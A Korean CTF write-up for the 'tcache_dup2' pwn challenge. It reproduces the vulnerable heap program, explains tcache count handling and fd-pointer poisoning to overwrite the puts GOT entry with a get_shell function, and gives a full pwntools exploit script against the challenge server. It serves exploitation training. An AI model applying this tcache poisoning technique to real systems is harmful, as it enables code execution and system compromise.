CIDY
[System_Hacking] stage12_문제풀이(tcache_dup2) 본문
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
이전 dup문제와 비슷하다. gdb로 까보면 puts가 있는데 printf함수에서 포맷 스트링 같은거 없고 개행있으면 puts로 대체해버린다. 암튼 puts 의 got로 청크를 하나 더 연결시킨 다음 거길 겟쉘로 덮으면 되는 문제다.
근데 이제 tc_idx를 고려해줘야 하는데, 저 친구가 뭐냐면 진짜 청크 개수를 세어 주는 애다.
그래서 만약 청크를 하나만 할당 후 해제한 다음, 하나를 날리고 다시 할당하려고 하면 fd로 연결된 주소에서 나오는 게 아니라 새롭게 할당해 주는 것이다. -> 청크를 하나만 할당하면 안 되고 두 개 이상 할당해 준 다음 fd를 조작해야 한다.
청크 0, 1을 할당하고 둘 다 해제시키면 tc_idx == 2가 된다. 이 상태에서 내가 청크 1의 fd값을 조작해주면 청크 0과의 연결이 끊겨 청크 0은 used로 판별된다.
이 상태에서 청크 하나를 새롭게 할당하면 freed상태였던 청크 1을 먼저 꺼내와 할당해주고, 여기서 하나를 더 새롭게 할당해주면서 겟쉘 주소를 적어주면 got overwrite가 되는 것이다. -> puts가 겟쉘로 덮여있으니 다시 돌아왔을 때 쉘이 따짐
앞에 몇개의 청크를 깔아주는지는 상관없음. 다음 그림은 위 설명을 일반화한 그림이다.
완성된 페이로드는 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 21320)
#p = process("./tcache_dup2")
e = ELF("./tcache_dup2")
def create(size, data):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Size: ")
p.sendline(str(size))
p.recvuntil(b"Data: ")
p.send(data)
def mod(idx, size, data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"idx: ")
p.sendline(str(idx))
p.recvuntil(b"Size: ")
p.sendline(str(size))
p.recvuntil(b"Data: ")
p.send(data)
def delete(idx):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"idx: ")
p.sendline(str(idx))
create(0x30, b"A")
create(0x30, b"A")
delete(0)
delete(1)
mod(1, 0x10, p64(e.got['puts']))
create(0x30, b"B")
create(0x30, p64(e.sym['get_shell']))
p.interactive()
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage14_문제풀이(cmd_center) (0) | 2022.07.10 |
---|---|
[System_Hacking] stage13_문제풀이(sint) (0) | 2022.07.10 |
[System_Hacking] stage12_문제풀이(tcache_dup) (0) | 2022.07.10 |
[System_Hacking] stage12_문제풀이(Tcache Poisoning) (0) | 2022.07.09 |
[System_Hacking] stage12_Double Free Bug (0) | 2022.07.08 |